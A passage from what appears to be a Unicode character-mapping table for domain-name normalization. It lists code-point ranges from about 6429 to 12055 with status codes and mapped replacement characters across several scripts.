],2],[[6429,6430],2],[6431,3],[[6432,6443],2],[[6444,6447],3],[[6448,6459],2],[[6460,6463],3],[6464,2],[[6465,6467],3],[[6468,6469],2],[[6470,6509],2],[[6510,6511],3],[[6512,6516],2],[[6517,6527],3],[[6528,6569],2],[[6570,6571],2],[[6572,6575],3],[[6576,6601],2],[[6602,6607],3],[[6608,6617],2],[6618,2],[[6619,6621],3],[[6622,6623],2],[[6624,6655],2],[[6656,6683],2],[[6684,6685],3],[[6686,6687],2],[[6688,6750],2],[6751,3],[[6752,6780],2],[[6781,6782],3],[[6783,6793],2],[[6794,6799],3],[[6800,6809],2],[[6810,6815],3],[[6816,6822],2],[6823,2],[[6824,6829],2],[[6830,6831],3],[[6832,6845],2],[6846,2],[[6847,6848],2],[[6849,6862],2],[[6863,6911],3],[[6912,6987],2],[6988,2],[[6989,6991],3],[[6992,7001],2],[[7002,7018],2],[[7019,7027],2],[[7028,7036],2],[[7037,7038],2],[7039,3],[[7040,7082],2],[[7083,7085],2],[[7086,7097],2],[[7098,7103],2],[[7104,7155],2],[[7156,7163],3],[[7164,7167],2],[[7168,7223],2],[[7224,7226],3],[[7227,7231],2],[[7232,7241],2],[[7242,7244],3],[[7245,7293],2],[[7294,7295],2],[7296,1,"в"],[7297,1,"д"],[7298,1,"о"],[7299,1,"с"],[[7300,7301],1,"т"],[7302,1,"ъ"],[7303,1,"ѣ"],[7304,1,"ꙋ"],[[7305,7311],3],[7312,1,"ა"],[7313,1,"ბ"],[7314,1,"გ"],[7315,1,"დ"],[7316,1,"ე"],[7317,1,"ვ"],[7318,1,"ზ"],[7319,1,"თ"],[7320,1,"ი"],[7321,1,"კ"],[7322,1,"ლ"],[7323,1,"მ"],[7324,1,"ნ"],[7325,1,"ო"],[7326,1,"პ"],[7327,1,"ჟ"],[7328,1,"რ"],[7329,1,"ს"],[7330,1,"ტ"],[7331,1,"უ"],[7332,1,"ფ"],[7333,1,"ქ"],[7334,1,"ღ"],[7335,1,"ყ"],[7336,1,"შ"],[7337,1,"ჩ"],[7338,1,"ც"],[7339,1,"ძ"],[7340,1,"წ"],[7341,1,"ჭ"],[7342,1,"ხ"],[7343,1,"ჯ"],[7344,1,"ჰ"],[7345,1,"ჱ"],[7346,1,"ჲ"],[7347,1,"ჳ"],[7348,1,"ჴ"],[7349,1,"ჵ"],[7350,1,"ჶ"],[7351,1,"ჷ"],[7352,1,"ჸ"],[7353,1,"ჹ"],[7354,1,"ჺ"],[[7355,7356],3],[7357,1,"ჽ"],[7358,1,"ჾ"],[7359,1,"ჿ"],[[7360,7367],2],[[7368,7375],3],[[7376,7378],2],[7379,2],[[7380,7410],2],[[7411,7414],2],[7415,2],[[7416,7417],2],[7418,2],[[7419,7423],3],[[7424,7467],2],[7468,1,"a"],[7469,1,"æ"],[7470,1,"b"],[7471,2],[7472,1,"d"],[7473,1,"e"],[7474,1,"ǝ"],[7475,1,"g"],[7476,1,"h"],[7477,1,"i"],[7478,1,"j"],[7479,1,"k"],[7480,1,"l"],[7481,1,"m"],[7482,1,"n"],[7483,2],[7484,1,"o"],[7485,1,"ȣ"],[7486,1,"p"],[7487,1,"r"],[7488,1,"t"],[7489,1,"u"],[7490,1,"w"],[7491,1,"a"],[7492,1,"ɐ"],[7493,1,"ɑ"],[7494,1,"ᴂ"],[7495,1,"b"],[7496,1,"d"],[7497,1,"e"],[7498,1,"ə"],[7499,1,"ɛ"],[7500,1,"ɜ"],[7501,1,"g"],[7502,2],[7503,1,"k"],[7504,1,"m"],[7505,1,"ŋ"],[7506,1,"o"],[7507,1,"ɔ"],[7508,1,"ᴖ"],[7509,1,"ᴗ"],[7510,1,"p"],[7511,1,"t"],[7512,1,"u"],[7513,1,"ᴝ"],[7514,1,"ɯ"],[7515,1,"v"],[7516,1,"ᴥ"],[7517,1,"β"],[7518,1,"γ"],[7519,1,"δ"],[7520,1,"φ"],[7521,1,"χ"],[7522,1,"i"],[7523,1,"r"],[7524,1,"u"],[7525,1,"v"],[7526,1,"β"],[7527,1,"γ"],[7528,1,"ρ"],[7529,1,"φ"],[7530,1,"χ"],[7531,2],[[7532,7543],2],[7544,1,"н"],[[7545,7578],2],[7579,1,"ɒ"],[7580,1,"c"],[7581,1,"ɕ"],[7582,1,"ð"],[7583,1,"ɜ"],[7584,1,"f"],[7585,1,"ɟ"],[7586,1,"ɡ"],[7587,1,"ɥ"],[7588,1,"ɨ"],[7589,1,"ɩ"],[7590,1,"ɪ"],[7591,1,"ᵻ"],[7592,1,"ʝ"],[7593,1,"ɭ"],[7594,1,"ᶅ"],[7595,1,"ʟ"],[7596,1,"ɱ"],[7597,1,"ɰ"],[7598,1,"ɲ"],[7599,1,"ɳ"],[7600,1,"ɴ"],[7601,1,"ɵ"],[7602,1,"ɸ"],[7603,1,"ʂ"],[7604,1,"ʃ"],[7605,1,"ƫ"],[7606,1,"ʉ"],[7607,1,"ʊ"],[7608,1,"ᴜ"],[7609,1,"ʋ"],[7610,1,"ʌ"],[7611,1,"z"],[7612,1,"ʐ"],[7613,1,"ʑ"],[7614,1,"ʒ"],[7615,1,"θ"],[[7616,7619],2],[[7620,7626],2],[[7627,7654],2],[[7655,7669],2],[[7670,7673],2],[7674,2],[7675,2],[7676,2],[7677,2],[[7678,7679],2],[7680,1,"ḁ"],[7681,2],[7682,1,"ḃ"],[7683,2],[7684,1,"ḅ"],[7685,2],[7686,1,"ḇ"],[7687,2],[7688,1,"ḉ"],[7689,2],[7690,1,"ḋ"],[7691,2],[7692,1,"ḍ"],[7693,2],[7694,1,"ḏ"],[7695,2],[7696,1,"ḑ"],[7697,2],[7698,1,"ḓ"],[7699,2],[7700,1,"ḕ"],[7701,2],[7702,1,"ḗ"],[7703,2],[7704,1,"ḙ"],[7705,2],[7706,1,"ḛ"],[7707,2],[7708,1,"ḝ"],[7709,2],[7710,1,"ḟ"],[7711,2],[7712,1,"ḡ"],[7713,2],[7714,1,"ḣ"],[7715,2],[7716,1,"ḥ"],[7717,2],[7718,1,"ḧ"],[7719,2],[7720,1,"ḩ"],[7721,2],[7722,1,"ḫ"],[7723,2],[7724,1,"ḭ"],[7725,2],[7726,1,"ḯ"],[7727,2],[7728,1,"ḱ"],[7729,2],[7730,1,"ḳ"],[7731,2],[7732,1,"ḵ"],[7733,2],[7734,1,"ḷ"],[7735,2],[7736,1,"ḹ"],[7737,2],[7738,1,"ḻ"],[7739,2],[7740,1,"ḽ"],[7741,2],[7742,1,"ḿ"],[7743,2],[7744,1,"ṁ"],[7745,2],[7746,1,"ṃ"],[7747,2],[7748,1,"ṅ"],[7749,2],[7750,1,"ṇ"],[7751,2],[7752,1,"ṉ"],[7753,2],[7754,1,"ṋ"],[7755,2],[7756,1,"ṍ"],[7757,2],[7758,1,"ṏ"],[7759,2],[7760,1,"ṑ"],[7761,2],[7762,1,"ṓ"],[7763,2],[7764,1,"ṕ"],[7765,2],[7766,1,"ṗ"],[7767,2],[7768,1,"ṙ"],[7769,2],[7770,1,"ṛ"],[7771,2],[7772,1,"ṝ"],[7773,2],[7774,1,"ṟ"],[7775,2],[7776,1,"ṡ"],[7777,2],[7778,1,"ṣ"],[7779,2],[7780,1,"ṥ"],[7781,2],[7782,1,"ṧ"],[7783,2],[7784,1,"ṩ"],[7785,2],[7786,1,"ṫ"],[7787,2],[7788,1,"ṭ"],[7789,2],[7790,1,"ṯ"],[7791,2],[7792,1,"ṱ"],[7793,2],[7794,1,"ṳ"],[7795,2],[7796,1,"ṵ"],[7797,2],[7798,1,"ṷ"],[7799,2],[7800,1,"ṹ"],[7801,2],[7802,1,"ṻ"],[7803,2],[7804,1,"ṽ"],[7805,2],[7806,1,"ṿ"],[7807,2],[7808,1,"ẁ"],[7809,2],[7810,1,"ẃ"],[7811,2],[7812,1,"ẅ"],[7813,2],[7814,1,"ẇ"],[7815,2],[7816,1,"ẉ"],[7817,2],[7818,1,"ẋ"],[7819,2],[7820,1,"ẍ"],[7821,2],[7822,1,"ẏ"],[7823,2],[7824,1,"ẑ"],[7825,2],[7826,1,"ẓ"],[7827,2],[7828,1,"ẕ"],[[7829,7833],2],[7834,1,"aʾ"],[7835,1,"ṡ"],[[7836,7837],2],[7838,1,"ss"],[7839,2],[7840,1,"ạ"],[7841,2],[7842,1,"ả"],[7843,2],[7844,1,"ấ"],[7845,2],[7846,1,"ầ"],[7847,2],[7848,1,"ẩ"],[7849,2],[7850,1,"ẫ"],[7851,2],[7852,1,"ậ"],[7853,2],[7854,1,"ắ"],[7855,2],[7856,1,"ằ"],[7857,2],[7858,1,"ẳ"],[7859,2],[7860,1,"ẵ"],[7861,2],[7862,1,"ặ"],[7863,2],[7864,1,"ẹ"],[7865,2],[7866,1,"ẻ"],[7867,2],[7868,1,"ẽ"],[7869,2],[7870,1,"ế"],[7871,2],[7872,1,"ề"],[7873,2],[7874,1,"ể"],[7875,2],[7876,1,"ễ"],[7877,2],[7878,1,"ệ"],[7879,2],[7880,1,"ỉ"],[7881,2],[7882,1,"ị"],[7883,2],[7884,1,"ọ"],[7885,2],[7886,1,"ỏ"],[7887,2],[7888,1,"ố"],[7889,2],[7890,1,"ồ"],[7891,2],[7892,1,"ổ"],[7893,2],[7894,1,"ỗ"],[7895,2],[7896,1,"ộ"],[7897,2],[7898,1,"ớ"],[7899,2],[7900,1,"ờ"],[7901,2],[7902,1,"ở"],[7903,2],[7904,1,"ỡ"],[7905,2],[7906,1,"ợ"],[7907,2],[7908,1,"ụ"],[7909,2],[7910,1,"ủ"],[7911,2],[7912,1,"ứ"],[7913,2],[7914,1,"ừ"],[7915,2],[7916,1,"ử"],[7917,2],[7918,1,"ữ"],[7919,2],[7920,1,"ự"],[7921,2],[7922,1,"ỳ"],[7923,2],[7924,1,"ỵ"],[7925,2],[7926,1,"ỷ"],[7927,2],[7928,1,"ỹ"],[7929,2],[7930,1,"ỻ"],[7931,2],[7932,1,"ỽ"],[7933,2],[7934,1,"ỿ"],[7935,2],[[7936,7943],2],[7944,1,"ἀ"],[7945,1,"ἁ"],[7946,1,"ἂ"],[7947,1,"ἃ"],[7948,1,"ἄ"],[7949,1,"ἅ"],[7950,1,"ἆ"],[7951,1,"ἇ"],[[7952,7957],2],[[7958,7959],3],[7960,1,"ἐ"],[7961,1,"ἑ"],[7962,1,"ἒ"],[7963,1,"ἓ"],[7964,1,"ἔ"],[7965,1,"ἕ"],[[7966,7967],3],[[7968,7975],2],[7976,1,"ἠ"],[7977,1,"ἡ"],[7978,1,"ἢ"],[7979,1,"ἣ"],[7980,1,"ἤ"],[7981,1,"ἥ"],[7982,1,"ἦ"],[7983,1,"ἧ"],[[7984,7991],2],[7992,1,"ἰ"],[7993,1,"ἱ"],[7994,1,"ἲ"],[7995,1,"ἳ"],[7996,1,"ἴ"],[7997,1,"ἵ"],[7998,1,"ἶ"],[7999,1,"ἷ"],[[8000,8005],2],[[8006,8007],3],[8008,1,"ὀ"],[8009,1,"ὁ"],[8010,1,"ὂ"],[8011,1,"ὃ"],[8012,1,"ὄ"],[8013,1,"ὅ"],[[8014,8015],3],[[8016,8023],2],[8024,3],[8025,1,"ὑ"],[8026,3],[8027,1,"ὓ"],[8028,3],[8029,1,"ὕ"],[8030,3],[8031,1,"ὗ"],[[8032,8039],2],[8040,1,"ὠ"],[8041,1,"ὡ"],[8042,1,"ὢ"],[8043,1,"ὣ"],[8044,1,"ὤ"],[8045,1,"ὥ"],[8046,1,"ὦ"],[8047,1,"ὧ"],[8048,2],[8049,1,"ά"],[8050,2],[8051,1,"έ"],[8052,2],[8053,1,"ή"],[8054,2],[8055,1,"ί"],[8056,2],[8057,1,"ό"],[8058,2],[8059,1,"ύ"],[8060,2],[8061,1,"ώ"],[[8062,8063],3],[8064,1,"ἀι"],[8065,1,"ἁι"],[8066,1,"ἂι"],[8067,1,"ἃι"],[8068,1,"ἄι"],[8069,1,"ἅι"],[8070,1,"ἆι"],[8071,1,"ἇι"],[8072,1,"ἀι"],[8073,1,"ἁι"],[8074,1,"ἂι"],[8075,1,"ἃι"],[8076,1,"ἄι"],[8077,1,"ἅι"],[8078,1,"ἆι"],[8079,1,"ἇι"],[8080,1,"ἠι"],[8081,1,"ἡι"],[8082,1,"ἢι"],[8083,1,"ἣι"],[8084,1,"ἤι"],[8085,1,"ἥι"],[8086,1,"ἦι"],[8087,1,"ἧι"],[8088,1,"ἠι"],[8089,1,"ἡι"],[8090,1,"ἢι"],[8091,1,"ἣι"],[8092,1,"ἤι"],[8093,1,"ἥι"],[8094,1,"ἦι"],[8095,1,"ἧι"],[8096,1,"ὠι"],[8097,1,"ὡι"],[8098,1,"ὢι"],[8099,1,"ὣι"],[8100,1,"ὤι"],[8101,1,"ὥι"],[8102,1,"ὦι"],[8103,1,"ὧι"],[8104,1,"ὠι"],[8105,1,"ὡι"],[8106,1,"ὢι"],[8107,1,"ὣι"],[8108,1,"ὤι"],[8109,1,"ὥι"],[8110,1,"ὦι"],[8111,1,"ὧι"],[[8112,8113],2],[8114,1,"ὰι"],[8115,1,"αι"],[8116,1,"άι"],[8117,3],[8118,2],[8119,1,"ᾶι"],[8120,1,"ᾰ"],[8121,1,"ᾱ"],[8122,1,"ὰ"],[8123,1,"ά"],[8124,1,"αι"],[8125,5," ̓"],[8126,1,"ι"],[8127,5," ̓"],[8128,5," ͂"],[8129,5," ̈͂"],[8130,1,"ὴι"],[8131,1,"ηι"],[8132,1,"ήι"],[8133,3],[8134,2],[8135,1,"ῆι"],[8136,1,"ὲ"],[8137,1,"έ"],[8138,1,"ὴ"],[8139,1,"ή"],[8140,1,"ηι"],[8141,5," ̓̀"],[8142,5," ̓́"],[8143,5," ̓͂"],[[8144,8146],2],[8147,1,"ΐ"],[[8148,8149],3],[[8150,8151],2],[8152,1,"ῐ"],[8153,1,"ῑ"],[8154,1,"ὶ"],[8155,1,"ί"],[8156,3],[8157,5," ̔̀"],[8158,5," ̔́"],[8159,5," ̔͂"],[[8160,8162],2],[8163,1,"ΰ"],[[8164,8167],2],[8168,1,"ῠ"],[8169,1,"ῡ"],[8170,1,"ὺ"],[8171,1,"ύ"],[8172,1,"ῥ"],[8173,5," ̈̀"],[8174,5," ̈́"],[8175,5,"`"],[[8176,8177],3],[8178,1,"ὼι"],[8179,1,"ωι"],[8180,1,"ώι"],[8181,3],[8182,2],[8183,1,"ῶι"],[8184,1,"ὸ"],[8185,1,"ό"],[8186,1,"ὼ"],[8187,1,"ώ"],[8188,1,"ωι"],[8189,5," ́"],[8190,5," ̔"],[8191,3],[[8192,8202],5," "],[8203,7],[[8204,8205],6,""],[[8206,8207],3],[8208,2],[8209,1,"‐"],[[8210,8214],2],[8215,5," ̳"],[[8216,8227],2],[[8228,8230],3],[8231,2],[[8232,8238],3],[8239,5," "],[[8240,8242],2],[8243,1,"′′"],[8244,1,"′′′"],[8245,2],[8246,1,"‵‵"],[8247,1,"‵‵‵"],[[8248,8251],2],[8252,5,"!!"],[8253,2],[8254,5," ̅"],[[8255,8262],2],[8263,5,"??"],[8264,5,"?!"],[8265,5,"!?"],[[8266,8269],2],[[8270,8274],2],[[8275,8276],2],[[8277,8278],2],[8279,1,"′′′′"],[[8280,8286],2],[8287,5," "],[8288,7],[[8289,8291],3],[8292,7],[8293,3],[[8294,8297],3],[[8298,8303],3],[8304,1,"0"],[8305,1,"i"],[[8306,8307],3],[8308,1,"4"],[8309,1,"5"],[8310,1,"6"],[8311,1,"7"],[8312,1,"8"],[8313,1,"9"],[8314,5,"+"],[8315,1,"−"],[8316,5,"="],[8317,5,"("],[8318,5,")"],[8319,1,"n"],[8320,1,"0"],[8321,1,"1"],[8322,1,"2"],[8323,1,"3"],[8324,1,"4"],[8325,1,"5"],[8326,1,"6"],[8327,1,"7"],[8328,1,"8"],[8329,1,"9"],[8330,5,"+"],[8331,1,"−"],[8332,5,"="],[8333,5,"("],[8334,5,")"],[8335,3],[8336,1,"a"],[8337,1,"e"],[8338,1,"o"],[8339,1,"x"],[8340,1,"ə"],[8341,1,"h"],[8342,1,"k"],[8343,1,"l"],[8344,1,"m"],[8345,1,"n"],[8346,1,"p"],[8347,1,"s"],[8348,1,"t"],[[8349,8351],3],[[8352,8359],2],[8360,1,"rs"],[[8361,8362],2],[8363,2],[8364,2],[[8365,8367],2],[[8368,8369],2],[[8370,8373],2],[[8374,8376],2],[8377,2],[8378,2],[[8379,8381],2],[8382,2],[8383,2],[8384,2],[[8385,8399],3],[[8400,8417],2],[[8418,8419],2],[[8420,8426],2],[8427,2],[[8428,8431],2],[8432,2],[[8433,8447],3],[8448,5,"a/c"],[8449,5,"a/s"],[8450,1,"c"],[8451,1,"°c"],[8452,2],[8453,5,"c/o"],[8454,5,"c/u"],[8455,1,"ɛ"],[8456,2],[8457,1,"°f"],[8458,1,"g"],[[8459,8462],1,"h"],[8463,1,"ħ"],[[8464,8465],1,"i"],[[8466,8467],1,"l"],[8468,2],[8469,1,"n"],[8470,1,"no"],[[8471,8472],2],[8473,1,"p"],[8474,1,"q"],[[8475,8477],1,"r"],[[8478,8479],2],[8480,1,"sm"],[8481,1,"tel"],[8482,1,"tm"],[8483,2],[8484,1,"z"],[8485,2],[8486,1,"ω"],[8487,2],[8488,1,"z"],[8489,2],[8490,1,"k"],[8491,1,"å"],[8492,1,"b"],[8493,1,"c"],[8494,2],[[8495,8496],1,"e"],[8497,1,"f"],[8498,3],[8499,1,"m"],[8500,1,"o"],[8501,1,"א"],[8502,1,"ב"],[8503,1,"ג"],[8504,1,"ד"],[8505,1,"i"],[8506,2],[8507,1,"fax"],[8508,1,"π"],[[8509,8510],1,"γ"],[8511,1,"π"],[8512,1,"∑"],[[8513,8516],2],[[8517,8518],1,"d"],[8519,1,"e"],[8520,1,"i"],[8521,1,"j"],[[8522,8523],2],[8524,2],[8525,2],[8526,2],[8527,2],[8528,1,"1⁄7"],[8529,1,"1⁄9"],[8530,1,"1⁄10"],[8531,1,"1⁄3"],[8532,1,"2⁄3"],[8533,1,"1⁄5"],[8534,1,"2⁄5"],[8535,1,"3⁄5"],[8536,1,"4⁄5"],[8537,1,"1⁄6"],[8538,1,"5⁄6"],[8539,1,"1⁄8"],[8540,1,"3⁄8"],[8541,1,"5⁄8"],[8542,1,"7⁄8"],[8543,1,"1⁄"],[8544,1,"i"],[8545,1,"ii"],[8546,1,"iii"],[8547,1,"iv"],[8548,1,"v"],[8549,1,"vi"],[8550,1,"vii"],[8551,1,"viii"],[8552,1,"ix"],[8553,1,"x"],[8554,1,"xi"],[8555,1,"xii"],[8556,1,"l"],[8557,1,"c"],[8558,1,"d"],[8559,1,"m"],[8560,1,"i"],[8561,1,"ii"],[8562,1,"iii"],[8563,1,"iv"],[8564,1,"v"],[8565,1,"vi"],[8566,1,"vii"],[8567,1,"viii"],[8568,1,"ix"],[8569,1,"x"],[8570,1,"xi"],[8571,1,"xii"],[8572,1,"l"],[8573,1,"c"],[8574,1,"d"],[8575,1,"m"],[[8576,8578],2],[8579,3],[8580,2],[[8581,8584],2],[8585,1,"0⁄3"],[[8586,8587],2],[[8588,8591],3],[[8592,8682],2],[[8683,8691],2],[[8692,8703],2],[[8704,8747],2],[8748,1,"∫∫"],[8749,1,"∫∫∫"],[8750,2],[8751,1,"∮∮"],[8752,1,"∮∮∮"],[[8753,8799],2],[8800,4],[[8801,8813],2],[[8814,8815],4],[[8816,8945],2],[[8946,8959],2],[8960,2],[8961,2],[[8962,9000],2],[9001,1,"〈"],[9002,1,"〉"],[[9003,9082],2],[9083,2],[9084,2],[[9085,9114],2],[[9115,9166],2],[[9167,9168],2],[[9169,9179],2],[[9180,9191],2],[9192,2],[[9193,9203],2],[[9204,9210],2],[[9211,9214],2],[9215,2],[[9216,9252],2],[[9253,9254],2],[[9255,9279],3],[[9280,9290],2],[[9291,9311],3],[9312,1,"1"],[9313,1,"2"],[9314,1,"3"],[9315,1,"4"],[9316,1,"5"],[9317,1,"6"],[9318,1,"7"],[9319,1,"8"],[9320,1,"9"],[9321,1,"10"],[9322,1,"11"],[9323,1,"12"],[9324,1,"13"],[9325,1,"14"],[9326,1,"15"],[9327,1,"16"],[9328,1,"17"],[9329,1,"18"],[9330,1,"19"],[9331,1,"20"],[9332,5,"(1)"],[9333,5,"(2)"],[9334,5,"(3)"],[9335,5,"(4)"],[9336,5,"(5)"],[9337,5,"(6)"],[9338,5,"(7)"],[9339,5,"(8)"],[9340,5,"(9)"],[9341,5,"(10)"],[9342,5,"(11)"],[9343,5,"(12)"],[9344,5,"(13)"],[9345,5,"(14)"],[9346,5,"(15)"],[9347,5,"(16)"],[9348,5,"(17)"],[9349,5,"(18)"],[9350,5,"(19)"],[9351,5,"(20)"],[[9352,9371],3],[9372,5,"(a)"],[9373,5,"(b)"],[9374,5,"(c)"],[9375,5,"(d)"],[9376,5,"(e)"],[9377,5,"(f)"],[9378,5,"(g)"],[9379,5,"(h)"],[9380,5,"(i)"],[9381,5,"(j)"],[9382,5,"(k)"],[9383,5,"(l)"],[9384,5,"(m)"],[9385,5,"(n)"],[9386,5,"(o)"],[9387,5,"(p)"],[9388,5,"(q)"],[9389,5,"(r)"],[9390,5,"(s)"],[9391,5,"(t)"],[9392,5,"(u)"],[9393,5,"(v)"],[9394,5,"(w)"],[9395,5,"(x)"],[9396,5,"(y)"],[9397,5,"(z)"],[9398,1,"a"],[9399,1,"b"],[9400,1,"c"],[9401,1,"d"],[9402,1,"e"],[9403,1,"f"],[9404,1,"g"],[9405,1,"h"],[9406,1,"i"],[9407,1,"j"],[9408,1,"k"],[9409,1,"l"],[9410,1,"m"],[9411,1,"n"],[9412,1,"o"],[9413,1,"p"],[9414,1,"q"],[9415,1,"r"],[9416,1,"s"],[9417,1,"t"],[9418,1,"u"],[9419,1,"v"],[9420,1,"w"],[9421,1,"x"],[9422,1,"y"],[9423,1,"z"],[9424,1,"a"],[9425,1,"b"],[9426,1,"c"],[9427,1,"d"],[9428,1,"e"],[9429,1,"f"],[9430,1,"g"],[9431,1,"h"],[9432,1,"i"],[9433,1,"j"],[9434,1,"k"],[9435,1,"l"],[9436,1,"m"],[9437,1,"n"],[9438,1,"o"],[9439,1,"p"],[9440,1,"q"],[9441,1,"r"],[9442,1,"s"],[9443,1,"t"],[9444,1,"u"],[9445,1,"v"],[9446,1,"w"],[9447,1,"x"],[9448,1,"y"],[9449,1,"z"],[9450,1,"0"],[[9451,9470],2],[9471,2],[[9472,9621],2],[[9622,9631],2],[[9632,9711],2],[[9712,9719],2],[[9720,9727],2],[[9728,9747],2],[[9748,9749],2],[[9750,9751],2],[9752,2],[9753,2],[[9754,9839],2],[[9840,9841],2],[[9842,9853],2],[[9854,9855],2],[[9856,9865],2],[[9866,9873],2],[[9874,9884],2],[9885,2],[[9886,9887],2],[[9888,9889],2],[[9890,9905],2],[9906,2],[[9907,9916],2],[[9917,9919],2],[[9920,9923],2],[[9924,9933],2],[9934,2],[[9935,9953],2],[9954,2],[9955,2],[[9956,9959],2],[[9960,9983],2],[9984,2],[[9985,9988],2],[9989,2],[[9990,9993],2],[[9994,9995],2],[[9996,10023],2],[10024,2],[[10025,10059],2],[10060,2],[10061,2],[10062,2],[[10063,10066],2],[[10067,10069],2],[10070,2],[10071,2],[[10072,10078],2],[[10079,10080],2],[[10081,10087],2],[[10088,10101],2],[[10102,10132],2],[[10133,10135],2],[[10136,10159],2],[10160,2],[[10161,10174],2],[10175,2],[[10176,10182],2],[[10183,10186],2],[10187,2],[10188,2],[10189,2],[[10190,10191],2],[[10192,10219],2],[[10220,10223],2],[[10224,10239],2],[[10240,10495],2],[[10496,10763],2],[10764,1,"∫∫∫∫"],[[10765,10867],2],[10868,5,"::="],[10869,5,"=="],[10870,5,"==="],[[10871,10971],2],[10972,1,"⫝̸"],[[10973,11007],2],[[11008,11021],2],[[11022,11027],2],[[11028,11034],2],[[11035,11039],2],[[11040,11043],2],[[11044,11084],2],[[11085,11087],2],[[11088,11092],2],[[11093,11097],2],[[11098,11123],2],[[11124,11125],3],[[11126,11157],2],[11158,3],[11159,2],[[11160,11193],2],[[11194,11196],2],[[11197,11208],2],[11209,2],[[11210,11217],2],[11218,2],[[11219,11243],2],[[11244,11247],2],[[11248,11262],2],[11263,2],[11264,1,"ⰰ"],[11265,1,"ⰱ"],[11266,1,"ⰲ"],[11267,1,"ⰳ"],[11268,1,"ⰴ"],[11269,1,"ⰵ"],[11270,1,"ⰶ"],[11271,1,"ⰷ"],[11272,1,"ⰸ"],[11273,1,"ⰹ"],[11274,1,"ⰺ"],[11275,1,"ⰻ"],[11276,1,"ⰼ"],[11277,1,"ⰽ"],[11278,1,"ⰾ"],[11279,1,"ⰿ"],[11280,1,"ⱀ"],[11281,1,"ⱁ"],[11282,1,"ⱂ"],[11283,1,"ⱃ"],[11284,1,"ⱄ"],[11285,1,"ⱅ"],[11286,1,"ⱆ"],[11287,1,"ⱇ"],[11288,1,"ⱈ"],[11289,1,"ⱉ"],[11290,1,"ⱊ"],[11291,1,"ⱋ"],[11292,1,"ⱌ"],[11293,1,"ⱍ"],[11294,1,"ⱎ"],[11295,1,"ⱏ"],[11296,1,"ⱐ"],[11297,1,"ⱑ"],[11298,1,"ⱒ"],[11299,1,"ⱓ"],[11300,1,"ⱔ"],[11301,1,"ⱕ"],[11302,1,"ⱖ"],[11303,1,"ⱗ"],[11304,1,"ⱘ"],[11305,1,"ⱙ"],[11306,1,"ⱚ"],[11307,1,"ⱛ"],[11308,1,"ⱜ"],[11309,1,"ⱝ"],[11310,1,"ⱞ"],[11311,1,"ⱟ"],[[11312,11358],2],[11359,2],[11360,1,"ⱡ"],[11361,2],[11362,1,"ɫ"],[11363,1,"ᵽ"],[11364,1,"ɽ"],[[11365,11366],2],[11367,1,"ⱨ"],[11368,2],[11369,1,"ⱪ"],[11370,2],[11371,1,"ⱬ"],[11372,2],[11373,1,"ɑ"],[11374,1,"ɱ"],[11375,1,"ɐ"],[11376,1,"ɒ"],[11377,2],[11378,1,"ⱳ"],[11379,2],[11380,2],[11381,1,"ⱶ"],[[11382,11383],2],[[11384,11387],2],[11388,1,"j"],[11389,1,"v"],[11390,1,"ȿ"],[11391,1,"ɀ"],[11392,1,"ⲁ"],[11393,2],[11394,1,"ⲃ"],[11395,2],[11396,1,"ⲅ"],[11397,2],[11398,1,"ⲇ"],[11399,2],[11400,1,"ⲉ"],[11401,2],[11402,1,"ⲋ"],[11403,2],[11404,1,"ⲍ"],[11405,2],[11406,1,"ⲏ"],[11407,2],[11408,1,"ⲑ"],[11409,2],[11410,1,"ⲓ"],[11411,2],[11412,1,"ⲕ"],[11413,2],[11414,1,"ⲗ"],[11415,2],[11416,1,"ⲙ"],[11417,2],[11418,1,"ⲛ"],[11419,2],[11420,1,"ⲝ"],[11421,2],[11422,1,"ⲟ"],[11423,2],[11424,1,"ⲡ"],[11425,2],[11426,1,"ⲣ"],[11427,2],[11428,1,"ⲥ"],[11429,2],[11430,1,"ⲧ"],[11431,2],[11432,1,"ⲩ"],[11433,2],[11434,1,"ⲫ"],[11435,2],[11436,1,"ⲭ"],[11437,2],[11438,1,"ⲯ"],[11439,2],[11440,1,"ⲱ"],[11441,2],[11442,1,"ⲳ"],[11443,2],[11444,1,"ⲵ"],[11445,2],[11446,1,"ⲷ"],[11447,2],[11448,1,"ⲹ"],[11449,2],[11450,1,"ⲻ"],[11451,2],[11452,1,"ⲽ"],[11453,2],[11454,1,"ⲿ"],[11455,2],[11456,1,"ⳁ"],[11457,2],[11458,1,"ⳃ"],[11459,2],[11460,1,"ⳅ"],[11461,2],[11462,1,"ⳇ"],[11463,2],[11464,1,"ⳉ"],[11465,2],[11466,1,"ⳋ"],[11467,2],[11468,1,"ⳍ"],[11469,2],[11470,1,"ⳏ"],[11471,2],[11472,1,"ⳑ"],[11473,2],[11474,1,"ⳓ"],[11475,2],[11476,1,"ⳕ"],[11477,2],[11478,1,"ⳗ"],[11479,2],[11480,1,"ⳙ"],[11481,2],[11482,1,"ⳛ"],[11483,2],[11484,1,"ⳝ"],[11485,2],[11486,1,"ⳟ"],[11487,2],[11488,1,"ⳡ"],[11489,2],[11490,1,"ⳣ"],[[11491,11492],2],[[11493,11498],2],[11499,1,"ⳬ"],[11500,2],[11501,1,"ⳮ"],[[11502,11505],2],[11506,1,"ⳳ"],[11507,2],[[11508,11512],3],[[11513,11519],2],[[11520,11557],2],[11558,3],[11559,2],[[11560,11564],3],[11565,2],[[11566,11567],3],[[11568,11621],2],[[11622,11623],2],[[11624,11630],3],[11631,1,"ⵡ"],[11632,2],[[11633,11646],3],[11647,2],[[11648,11670],2],[[11671,11679],3],[[11680,11686],2],[11687,3],[[11688,11694],2],[11695,3],[[11696,11702],2],[11703,3],[[11704,11710],2],[11711,3],[[11712,11718],2],[11719,3],[[11720,11726],2],[11727,3],[[11728,11734],2],[11735,3],[[11736,11742],2],[11743,3],[[11744,11775],2],[[11776,11799],2],[[11800,11803],2],[[11804,11805],2],[[11806,11822],2],[11823,2],[11824,2],[11825,2],[[11826,11835],2],[[11836,11842],2],[[11843,11844],2],[[11845,11849],2],[[11850,11854],2],[11855,2],[[11856,11858],2],[[11859,11869],2],[[11870,11903],3],[[11904,11929],2],[11930,3],[[11931,11934],2],[11935,1,"母"],[[11936,12018],2],[12019,1,"龟"],[[12020,12031],3],[12032,1,"一"],[12033,1,"丨"],[12034,1,"丶"],[12035,1,"丿"],[12036,1,"乙"],[12037,1,"亅"],[12038,1,"二"],[12039,1,"亠"],[12040,1,"人"],[12041,1,"儿"],[12042,1,"入"],[12043,1,"八"],[12044,1,"冂"],[12045,1,"冖"],[12046,1,"冫"],[12047,1,"几"],[12048,1,"凵"],[12049,1,"刀"],[12050,1,"力"],[12051,1,"勹"],[12052,1,"匕"],[12053,1,"匚"],[12054,1,"匸"],[12055,1,"